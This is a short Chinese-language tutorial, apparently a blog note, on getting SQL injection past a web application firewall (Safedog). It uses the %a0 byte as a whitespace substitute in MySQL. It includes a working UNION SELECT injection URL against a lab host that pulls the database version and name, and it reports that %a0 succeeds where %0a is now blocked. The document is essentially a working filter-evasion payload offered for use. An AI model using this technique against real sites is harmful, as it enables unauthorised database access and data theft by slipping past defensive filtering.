Mysql -a0绕过防注入

select id from table where x = 1 union select 1,2 from dual

2:在mysql里面有一个空白符为%a0,此符号为空白符。

3:但是%a0是扩展字符里面的,当%a0+另外一个字符,可能会在web层面解析成其他结果

      http://192.168.4.70/low.php?id=11' union%a0select version(),database() %23&Submit=a
    

首先id是一个字符类型注入的参数,页面返回的结果如下:


发现结果中出现了乱码,%a0和s一起被解析成了乱码。但是在mysql层面去执行的时候%0a又被当做空白符执行了,显示出来了mysql的版本和数据库名称

6:开启安全狗,先输入%0a试试<以前有效>,被拦截了,


7:此时将%0a换成%a0,成功执行